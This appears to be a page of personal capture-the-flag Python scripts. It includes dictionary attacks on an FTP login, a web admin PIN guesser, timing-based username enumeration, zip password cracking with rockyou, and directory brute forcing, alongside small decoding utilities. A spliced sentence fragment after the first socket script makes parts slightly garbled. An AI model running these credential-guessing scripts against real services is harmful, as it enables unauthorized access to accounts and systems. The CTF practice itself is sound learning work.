Examples and Quick Scripts

This is a page of quick wins and scripts written to achieve certain goals. Copy/paste parts as needed!
Python
FTP Brute Force
Brute forces all passwords from words.txt for the username secure_usertry/except loop.
from ftplib import FTP
import time
​
ftp = FTP()
HOST = 'services.cyberprotection.agency'
PORT = 2121
ftp.set_debuglevel(2)
​
​
dictionary = 'words.txt'
password = None
​
with open(dictionary, 'r') as f:
  for line in f.readlines():
    password = line.strip('\n')
    print('trying ' + password)
    time.sleep(0.001)
    try:
      ftp.connect(HOST, PORT)
      ftp.login(user='secure_user', passwd=password)
      ftp.quit()
    except:
      pass
print(password)
RC4 Brute Force
ARC4 brute forcing script written to try and decrypt a string. The decryption attempt is passed to another loop to try and determine if the string is readable ASCII or not. I chose not to pause or quit the loop because I was getting some false positives.
from arc4 import ARC4
​
cipher = b'\x18\x34\xe1\xb2\x17\x0c\x2a\xc5\x21\x26\x77\xe3\xae\x48\xed\x42\xc3\x28\x10\x40\x0a\xfc\xa2\x1d\xef\xab\x11\x1b\xc7'
​
with open("big_set.txt", "r") as keys:
        for line in keys:
                line = line.strip()
                arc4 = ARC4(bytes(line, 'utf-8'))
                new = arc4.decrypt(cipher)
                try:
                        decoder = bytes.fromhex(new.hex()).decode('utf-8')
                        print("Key " + line + " made this:\n" + decoder)
                except UnicodeDecodeError:
                        pass
Zip File Brute Force Guess with B64 Password
This script will attempt to unzip an archive with a password from rockyou. This particular challenge said the password was base64 encoded, which is what the first part of the loop is for. Second part of loop is a try/except loop to pass the unzip error with wrong password. 
Alternatively, one could get the zip hash then convert the rockyou list into base64 for each line - I chose to NOT do this to prevent having an extra rockyou file full of base64.
import base64
import zipfile
​
dictionary = '/mnt/d/hashcat-6.0.0/rockyou.txt'
​
with open(dictionary, 'r', errors='ignore') as f:
    for line in f.readlines():
        password = line.strip('\n')
        #print(f'Raw password is {password}')
        encoded = base64.b64encode(str.encode(password))
        #print(f'Encoded password is {encoded}')
​
        with zipfile.ZipFile('./base64.zip','r') as zip_ref:
            try:
                zip_ref.extractall(pwd=encoded)
                print(f'Found! Password is {password}, encoded is {encoded}!')
                quit()
            except:
                pass
PIN Brute Force for Web Login
This script adds a pin guess for a web login attempt. The pin is zfilled which makes 4 to 004. Additionally there’s a regular expression to find if access was denied or not and give what the PIN was while breaking out of the loop. A final print statement lets me know that they were all looped through, useful when I wasn't sure if my requests were properly formatted.
import urllib
import requests
import re
​
url = "https://vuln.server/admin_login"
​
pin = 0
​
while pin < 1000:
    #headers = {'Cookie' : 'PHPSESSID=qhq84atma883hio9eso7hhsr4j'}
    payload = {'email':'[email protected]','password':str(pin).zfill(3)}
    req = requests.post(url, data=payload, allow_redirects=True)
    if not re.findall('Access Denied', req.text):
        print(f'\npin is {str(pin).zfill(3)}!\n')
        break
    print(str(pin).zfill(3), req.status_code, len(req.content))
    pin = pin + 1
​
print('finished testing')
Username Guessing based on Timing Analysis
This script pays attention to the timing between good usernames and bad ones to help determine if a username is valid.
import requests
from string import ascii_lowercase
with open('surnames.txt') as f:
    lines = f.read().splitlines()
for lname in lines:
    for init in ascii_lowercase:
        username = init+lname
        r = requests.post('http://m4lwhere.org/login.php', data = {'user':username,'pass':'haha'})
        roundtrip = r.elapsed.total_seconds()
        print(f'{roundtrip} for {username}')
Connect to Raw Socket and Pass Data
This challenge required connecting to the socket and brute forcing the first byte back, I didn’t fully finish this challenge because it was a little frustrating. I need to spend more time on this script.
import socket                                                       
                                                                    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)               
s.connect(('cfta-ne01.allyourbases.co',8017))                       
buf = s.recv(1024)                                                  
s.recv(1024)                                                        
conv = buf.decode('unicode-escape').encode('latin1').decode('UTF-8')
conv = conv + '\n'                                                  
print(conv)                                                         
s.sendall(bytes(conv, encoding='UTF-8'))                            
ans = s.recv(1024)                                                  
win = ans.decode('unicode-escape').encode('latin1').decode('UTF-8') 
print(win)                                                          
s.close()                                                           . This reads the dictionary file, strips the EOL markers, and attempts to authenticate with a 
import socket
import time
​
def connect():
    s.connect(('challenges.ctfd.io',30468))
​
def recv():
    recv = s.recv(1024)
    print(recv)
​
for i in range(ord('A'),ord('z')+1):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print(f'trying {chr(i)}')
    s.connect(('challenges.ctfd.io',30468))
    recv = s.recv(1024)
    print(recv)
    s.sendall(bytes(chr(i), encoding='utf8'))
    recv = s.recv(1024)
    print(recv)
    s.close()
ROT13 Automatic Decoder
Written by Jess! Automatically finds the decoded input using the enchant library. Searches for legitimate words in the English dictionary, very cool!
import enchant
d = enchant.Dict("en_US")
​
cipher=input("Enter Caesar Shift Cipher to Decode: ")
for n in range(26):
    decode=""
    wordfound=""
    for x in range(0,len(cipher)):
        if ord(cipher[x]) in range(97,123):
            decode+=(chr(((ord(cipher[x])-96+n)%26)+97))
        elif ord(cipher[x]) in range(65,91):
            decode+=(chr(((ord(cipher[x])-64+n)%26)+65))
        elif ord(cipher[x])==(32):
            checkword=d.check(decode)
            if checkword:
                wordfound=("Found!")
            decode+=cipher[x]
        else:
            decode+=cipher[x]
    check=d.check(decode)
    print((n+1),decode,wordfound)
Choose Random Numbers
This program chooses some random integers and assigns them to a string. Nothing fancy.
import random
​
series = random.randint(1,3)
​
book = random.randint(1,6)
​
page = random.randint(1,300)
​
print(f'Series {series}, Book {book}, Page {page}\n\n')
List of all Characters from aa to zz :
Quick way to create a list of all possible lowercase values
from string import ascii_lowercase
for a in ascii_lowercase:
    for b in ascii_lowercase:
        print(a+b)
Below is brute forcing all lowercase characters to find a hidden web dir
import requests
from string import ascii_lowercase
​
url = 'http://m4lwhere.org/'
​
for a in ascii_lowercase:
    for b in ascii_lowercase:
        for c in ascii_lowercase:
            #print(a+b+c)
            fullUrl = url + a + b + c
            r = requests.get(fullUrl)
            if r.status_code != 404:
                print(f'Code {r.status_code} for {fullUrl}')
            else:
                pass
Same one, just with a progress bar!
import requests
from progress.bar import Bar
from string import ascii_lowercase
​
url = 'http://m4lwhere.org/'
​
with Bar('Brute Forcing...', max=26*26*26-1) as bar:
    for a in ascii_lowercase:
        for b in ascii_lowercase:
            for c in ascii_lowercase:
                #print(a+b+c)
                fullUrl = url + a + b + c
                r = requests.get(fullUrl)
                if r.status_code != 404:
                    print(f'\nCode {r.status_code} for {fullUrl}')
                else:
                    bar.next()
                    pass
